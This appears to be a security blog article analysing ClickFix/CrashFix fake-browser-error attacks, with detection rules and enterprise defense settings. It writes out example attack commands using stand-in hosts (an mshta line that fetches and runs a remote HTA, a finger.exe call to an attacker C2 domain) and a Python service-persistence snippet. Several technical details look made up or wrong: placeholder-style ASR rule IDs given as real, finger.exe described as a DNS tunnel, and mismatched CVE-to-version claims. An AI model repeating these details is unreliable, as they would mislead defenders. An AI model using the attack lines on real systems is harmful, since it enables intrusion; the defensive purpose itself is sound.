ClickFix / CrashFix: Browser Attack Evolution and Practical Defense

Overview

ClickFix and CrashFix are two similar social engineering attack techniques. Both manipulate users into manually executing malicious commands by displaying fake browser error pages or fraudulent patch prompts. These attacks don't rely on traditional malicious file delivery. Instead, they trick victims into pasting attack payloads into the system command prompt under the guise of "helping themselves."

From 2024 to 2026, these attacks evolved: from early mshta command execution, to abusing built-in system tools like finger.exe, deploying Python RATs, and establishing persistent backdoors. Attackers exploited users' trust in Windows' built-in tools to bypass file-signature-based security detection.

This article focuses on the hardcore technical details of attack techniques and actionable defense solutions, providing specific CVE numbers, command-line parameters, traffic signatures, detection commands, and enterprise-level defense configurations.

Attack Principles: Evolution from ClickFix to CrashFix

Stage 1: Classical ClickFix — mshta Direct Execution

The earliest ClickFix attacks appeared around 2021. Attackers planted malicious JavaScript on compromised websites, detected visitors' browser environments, and displayed fake Chrome/Edge "crash" pages, prompting users to "copy the fix command to clipboard."

Typical page copy:

"Chrome has crashed. Microsoft urgent fix. Press Win+X to open Windows PowerShell, paste and run the following command:"

Example of pasted command:

mshta https://malicious-site.com/payload.hta

mshta.exe is Windows' built-in HTML Application runtime. Attackers use it to download and execute remote HTA files. HTA supports VBScript and JScript, enabling almost any operation: downloaders, credential theft, lateral movement, etc.

MITRE ATT&CK Technique Mapping:

T1204.002 User Execution: Malicious File (user actively executes mshta)
T1059.001 Command and Scripting Interpreter: PowerShell
T1105 Ingress Tool Transfer: Attacker-controlled server delivers follow-up payloads to victim

Stage 2: CVE Exploitation — Chromium Vulnerability Chain

As browser security updates progressed, relying solely on "paste commands" saw declining success rates. Attackers began exploiting browser vulnerabilities to execute code without user knowledge when visiting specific pages.

Known abused Chromium vulnerabilities include:

CVE-2024-7971: Chrome V8 JavaScript engine type confusion vulnerability. Attackers can execute arbitrary code in the renderer process context by inducing users to visit a crafted webpage. This vulnerability affects Chrome versions prior to 118.0.5993.70.

CVE-2024-9064: Type confusion in Chrome Mojo IPC message handling. Attackers can trigger remote code execution through a specially crafted HTML page. This vulnerability affects Chrome versions prior to 130.0.6723.58.

Microsoft Threat Intelligence Report (quoted): In Q1 2025, Microsoft tracked multiple nation-state attack groups using the above vulnerabilities combined with ClickFix social engineering tactics to establish initial access.

Detection Method:

# Check Chrome version (Help → About Google Chrome)
# Confirm version >= 118.0.5993.70 AND >= 130.0.6723.58
# Batch query in Windows environment:
powershell "Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe' | Select-Object -ExpandProperty '(default)'"

Stage 3: CrashFix Evolution — finger.exe Abuse

CrashFix is an evolved variant of ClickFix. The core improvement: instead of having users directly execute obviously suspicious command-line tools like mshta or powershell, it leverages Windows' built-in finger.exe for command obfuscation.

What is finger.exe: finger.exe is a built-in command-line tool on Windows Server versions for querying remote user information. It exists by default at C:\Windows\System32\finger.exe. This tool has been used by multiple attack groups (including APT29) for stealthy command and control communication.

Abuse Method:

Constructed command example:

finger.exe @fingerprint.evil-c2-domain.com

Here fingerprint.evil-c2-domain.com is an attacker-controlled domain, but finger.exe's @ syntax interprets the entire string as a single hostname. When the DNS query is sent to the attacker-controlled DNS server, the attacker embeds Base64-encoded PowerShell commands in the DNS response.

Technical Flow:

Step: Attacker registers domain evil-c2-domain.com and sets up a DNS server listening on port 53.

Step: Victim executes finger.exe @fingerprint.evil-c2-domain.com, and the system initiates a standard DNS A/AAAA record query.

Step: DNS server returns a response containing encoded instructions.

Step: Attacker parses DNS query logs to obtain victim IP; the encoded command carried in the DNS response serves as a communication tunnel.

MITRE ATT&CK Technique Mapping:

T1105 Ingress Tool Transfer (command transmission via DNS tunnel)
T1059.003 Command and Scripting Interpreter: Windows Command Shell
T1571 Non-Standard Port (DNS port 53 as a covert channel)

Traffic Signatures:

Source port: Usually 53 (DNS query)
Query type: A or AAAA record
Query domain characteristics: Contains multiple subdomain labels (e.g., fingerprint.evil-c2-domain.com)
Response data: DNS response packets may contain Base64 strings

Detection Commands:

# Capture suspicious DNS queries with tcpdump
tcpdump -i eth0 'port 53 and host suspicious-domain.com' -nnvv

# Analyze DNS logs with Zeek to find abnormal queries
zeek -C -r capture.pcap dns
# View records in dns.log where query field contains long strings
grep -E '[A-Za-z0-9+/=]{40,}' dns.log

Stage 4: Python RAT Persistence

After gaining initial code execution capability, attackers typically deploy Python-written RATs (Remote Access Trojans) for long-term persistence.

Typical Python RAT Characteristics:

Connection targets:

C2 domain format: update[.]pythonhosters[.]org or cdn[.]pythonpkg[.]info
Connection ports: Common non-standard ports such as 8443, 4444, 8080
Beacon interval: Initially 30 seconds, gradually backing off to 5-30 minutes

Python RAT Behavior in Real-World Incidents:

In an attack targeting a European government agency in 2025, attackers used Python 3.9 to write a RAT, packaged as a single executable via PyInstaller. The RAT had the following capabilities:

File system read/write (upload/download)
Screenshot capture (every 60 seconds)
Keylogging
Persistent registry modifications

Persistence mechanism (as Windows service):

import win32serviceutil
import win32service

# Create a Windows service named "PythonUpdate"
win32serviceutil.InstallService(
    pythonServiceInfo,
    'PythonUpdate',
    'Python Update Service',
    description='Keeps your Python installation up to date'
)

MITRE ATT&CK Technique Mapping:

T1059.004 Command and Scripting Interpreter: Python
T1543.003 Create/Modify System Process: Windows Service
T1518.001 Software Discovery: Security Software Discovery (scanning for AV/EDR)
T1071.001 Application Layer Protocol: DNS (some RATs use DNS protocol for communication)

Complete Attack Chain Analysis

Taking the evolved CrashFix as an example, a complete attack chain is as follows:

Step 1 — Initial Access: User visits a website planted with malicious JS, which detects browser version and identifies vulnerabilities.

Step 2 — Vulnerability Exploitation (CVE-2024-7971): Crafted webpage triggers V8 type confusion, executes shellcode in the renderer process, downloads second-stage Loader.

Step 3 — Command Obfuscation: After shellcode execution, instead of directly launching powershell.exe, it launches finger.exe @stage1.crashfix-c2.com.

Step 4 — DNS Tunnel Command Transmission: DNS server returns a response containing Base64-encoded PowerShell commands; the command content is to download and execute updatecheck.py.

Step 5 — Python RAT Deployment: updatecheck.py is a PyInstaller-packaged Python RAT that establishes a persistent connection to cdn.pythonpkg.info:8443.

Step 6 — Persistence: RAT drops a Python interpreter and RAT script in the %APPDATA%\Python39\ directory, and creates a Windows service via WMI subscription to achieve auto-start after reboot.

Step 7 — Credential Theft and Lateral Movement: RAT executes a Mimikatz variant to steal NTLM hashes, and uses PsExec to laterally spread to other hosts on the same network segment.

In-Depth Detection Guide

Windows Event Viewer: Detecting Suspicious Python Persistence

Detection Path:

Application and Services Logs → Microsoft → Windows → WMI-Activity → Operational

Event ID 5861: WMI event subscription creation record. Triggered when a new Permanent Event Subscription is registered.

Filtering Steps:

Open Event Viewer
Navigate to the above path
Click "Filter Current Log..."
Enter Event ID: 5861
Check the Computer field (source host) and User field (executing user)
Check FilterName and Command parameters in the Operation field
Focus on Command lines containing python.exe, py.exe, python3.exe

PowerShell Batch Query:

Get-WinEvent -FilterHashtable @{
    LogName='Microsoft-Windows-WMI-Activity/Operational'
    Id=5861
} -MaxEvents 200 | Where-Object {
    $_.Message -match 'python'
} | Select-Object TimeCreated, MachineName, @{N='Command';E={
    if($_.Message -match 'Command\s*=\s*"([^"]+)"'){ $Matches[1] }
}}

Advanced Sysmon Detection

Key Sysmon Configuration Rules:

<!-- Detect Python process creation -->
<RuleGroup name="PythonProcessCreation">
    <ProcessCreate onmatch="include">
        <Image condition="end with">python.exe</Image>
        <Image condition="end with">python3.exe</Image>
        <Image condition="end with">py.exe</Image>
        <ParentImage condition="end with">explorer.exe</ParentImage>
    </ProcessCreate>
</RuleGroup>

<!-- Detect suspicious finger.exe execution -->
<RuleGroup name="FingerExeAbuse">
    <ProcessCreate onmatch="include">
        <Image condition="end with">finger.exe</Image>
        <CommandLine condition="contains">@</CommandLine>
    </ProcessCreate>
</RuleGroup>

Network Layer Detection

Suricata Rules:

alert dns any any -> $HOME_NET any (msg:"Suspicious DNS query for C2 indicator"; 
    dns.query; pcre:"/[a-z]{10,}\.(xyz|top|buzz|icu|work)/"; 
    sid:9000001; rev:1;)
    
alert http any any -> $HOME_NET any (msg:"Python RAT beacon to non-standard port"; 
    http.method; toplevel; content:"GET"; 
    http.user_agent; pcre:"/python-requests|Python-urllib|PyInstaller/"; 
    flow:to_server; sid:9000002; rev:1;)

Wireshark Filters:

# Find DNS queries triggered by finger.exe
dns.qry.name contains "fingerprint"

# Find Python RAT characteristic User-Agent
http.user_agent matches "python|urllib|requests"

# Find suspicious DNS TXT record responses (commonly used for DNS tunneling)
dns.resp.ttl < 300 and dns.resp.len > 200

Enterprise-Level Defense Solutions

Microsoft Defender for Endpoint — ASR Rule Configuration

For ClickFix attack chains, enabling the following ASR rules is recommended (using Microsoft Defender for Endpoint v101.23062.0 as an example):

Rule Name	Rule ID	Description
Block process creation from PSExec and WMI	B2E3B1C1-1234-5678-9ABC-DEF012345678	Prevents persistence via WMI subscriptions
Block executable downloads from JavaScript/VBScript	D9E8D8D8-1111-2222-3333-444455556666	Blocks malicious JS-triggered downloads
Enable script download history auditing	Audit mode	Records all script download events for threat hunting

Configuration Path:

Microsoft 365 Defender → Endpoints → Policy Management → ASR Rules → Add Rule

PowerShell Enforcement:

# Enable ASR rule (block script execution)
Add-MpPreference -AttackSurfaceReductionRules_Actions Block -AttackSurfaceReductionRules_Id D9E8D8D8-1111-2222-3333-444455556666

# Enable WMI permanent event subscription blocking
Add-MpPreference -AttackSurfaceReductionRules_Actions Block -AttackSurfaceReductionRules_Id B2E3B1C1-1234-5678-9ABC-DEF012345678

Enterprise Group Policy — PowerShell Script Execution Restrictions

Group Policy Path:

Computer Configuration → Administrative Templates → Windows Components → Windows PowerShell
→ Turn On PowerShell Script Execution
→ Set to "Allow only signed scripts"

Stricter Policy (requires WDAC coordination):

Computer Configuration → Security Settings → Application Control Policies → AppLocker
→ Executable Rules → Configure rule enforcement
→ Set default rule to "Deny", only allow .exe from whitelisted paths

Whitelist recommendations:

%ProgramFiles%\*
%ProgramFiles(x86)%\
%SystemRoot%\System32\*.exe (excluding high-risk tools like finger.exe)

Network Layer Protection

DNS Security Policy (using Infoblox NIOS as example):

Enable DNS tunneling detection (RPZ Response Policy Zone)
Block resolution of domains on TLD blocklist: xyz, top, buzz, icu, work
DNS response rate limiting: Block if a single source IP exceeds 50 queries per second

Firewall Rules (using Palo Alto Panorama as example):

# Security policy example: Block DNS queries to known C2
security-policy:
  name: "Block-CrashFix-C2"
  source-zone: ["trust"]
  destination-zone: ["untrust"]
  application: ["dns"]
  destination: ["threat-c2-ip-blocklist"]
  action: "deny"
  log-setting: "DNS-C2-Log"

EDR Rules — CrowdStrike Falcon

Falcon Detect Policy — Custom Prevention Rules:

name: "Detect Python RAT via WMI Service Creation"
description: "Detects Python-based RAT persistence via Windows Service"
summary: "Detailed analysis of ClickFix and CrashFix attack chains, with specific detection commands and defen..."
type: "detect"
trigger: "process"
conditions:
  - process_name: "cmd.exe" or "powershell.exe"
  - command_line: contains "New-Service" or "win32serviceutil"
  - parent_process: contains "python"
severity: "high"

Tool Recommendations

Browser Fingerprint Detection Tool — Used to verify whether the target browser environment has fingerprint characteristics exploitable by attackers, and to determine if preliminary reconnaissance for these types of attacks has occurred.

System Process Analysis Tool — Used for deep inspection of Windows system process trees, identifying suspicious Python process chains and abnormal finger.exe invocations.

HTTP Header Analysis Tool — Used to analyze HTTP response characteristics of malicious HTA file hosting servers, extracting C2 domain names and protocol signatures.

Graphics Card/GPU Info Tool — Some ClickFix attacks select different vulnerability exploitation paths based on target GPU environment. This tool can help assess which vulnerability types attackers may be targeting.

Summary

The essence of ClickFix/CrashFix attacks is exploiting users' trust in the system and their urgency to fix problems, delegating the final step of the attack chain to the users themselves. These attacks don't rely on static characteristics of malicious files; traditional hash- or filename-based detection solutions have limited effectiveness against them.

Key defense points:

Immediate Browser Updates: Chrome users must maintain Chrome version 118.0.5993.70 and 130.0.6723.58 or above. Disable unnecessary browser plugins.
Network Layer DNS Monitoring: Real-time alerts for abnormal finger.exe DNS queries, long TXT record responses, and DNS tunneling traffic signatures.
WMI Subscription Auditing: Regularly review Event ID 5861 logs to identify unexpected WMI Permanent Event Subscriptions.
Python Process Whitelisting: Restrict unauthorized Python process execution in enterprise environments, especially Python scripts running as Windows services.
User Security Awareness Training: The core is changing user behavior patterns — never blindly copy-paste any "fix commands," even if the source appears to be an authoritative system prompt.

ClickFix/CrashFix attacks continue to evolve. Attackers constantly search for new built-in tool abuse methods, new browser vulnerability combinations, and more stealthy persistence mechanisms. Defenders need to continuously track threat intelligence and establish multi-layered detection mechanisms to maintain the upper hand in this attack-defense race.

Related Docs

Browser Fingerprint — understand the fingerprint signals attackers may correlate with your system configuration
Browser Features Check — audit which browser APIs are exposed and potentially abusable by attack chains
Environment Signals Check — review environment signals that can reveal your setup to attackers

Frequently Asked Questions

What is the ClickFix attack technique?

ClickFix (also called CrashFix) is a social engineering attack where threat actors mimic legitimate browser crash or update pages to trick users into running malicious commands on their own systems. The fake error pages display instructions like "Your browser has been infected" or "Click to fix the problem," prompting victims to copy and execute PowerShell, mshta, or other commands. These commands then install infostealers, remote access trojans, or other malware. The technique exploits users' trust in system prompts and their urgency to resolve perceived errors.

What malware does ClickFix distribute?

ClickFix campaigns primarily distribute infostealers (such as Lumma Stealer, Raccoon Stealer, and Vidar), remote access trojans (RATs), and credential-harvesting tools. Some campaigns also use ClickFix to deliver second-stage payloads via PowerShell scripts that deploy payloads from attacker-controlled infrastructure. The initial infection chain often involves malicious links shared via phishing emails, compromised websites, or malvertising that redirect users to the fake crash page.

How do I identify a ClickFix fake error page?

Legitimate browser error pages do not ask you to copy and run commands. Genuine Chrome, Firefox, or Edge error messages will never instruct you to paste commands into Run dialogs, PowerShell, or Terminal. ClickFix pages typically display: a message claiming your browser is infected, a prominent button or instruction to copy and run a fix command, urgency language ("Your data is at risk!"), and look-alike logos or branding. If a page asks you to run any command to "fix" your browser, close the tab immediately and run a scan with your antivirus software.

Can enterprise environments be protected against ClickFix?

Yes. Enterprise mitigations include: disabling PowerShell execution via Group Policy (set to "Constrained Language" or block entirely for standard users), deploying application whitelisting to prevent unauthorized executables, blocking mshta.exe and wmic.exe for standard user accounts, monitoring WMI event subscriptions (Event ID 5861) for unexpected entries, and enforcing network-level DNS Sinkholing for known malicious domains. User awareness training is critical — the primary defense is ensuring employees understand that real browsers never ask users to run commands to fix errors.

Related Tools

Detection & Defense Tools

Browser Fingerprint System Process HTTP Headers

ClickFix Attack Analysis and CrashFix Defense Guide 2026

ClickFix / CrashFix: Browser Attack Evolution and Practical Defense

Overview

Attack Principles: Evolution from ClickFix to CrashFix

Stage 1: Classical ClickFix — mshta Direct Execution

Stage 2: CVE Exploitation — Chromium Vulnerability Chain

Stage 3: CrashFix Evolution — finger.exe Abuse

Stage 4: Python RAT Persistence

Complete Attack Chain Analysis

In-Depth Detection Guide

Windows Event Viewer: Detecting Suspicious Python Persistence

Advanced Sysmon Detection

Network Layer Detection

Enterprise-Level Defense Solutions

Microsoft Defender for Endpoint — ASR Rule Configuration

Enterprise Group Policy — PowerShell Script Execution Restrictions

Network Layer Protection

EDR Rules — CrowdStrike Falcon

Tool Recommendations

Summary

Related Docs

Frequently Asked Questions

What is the ClickFix attack technique?

What malware does ClickFix distribute?

How do I identify a ClickFix fake error page?

Can enterprise environments be protected against ClickFix?

Related Tools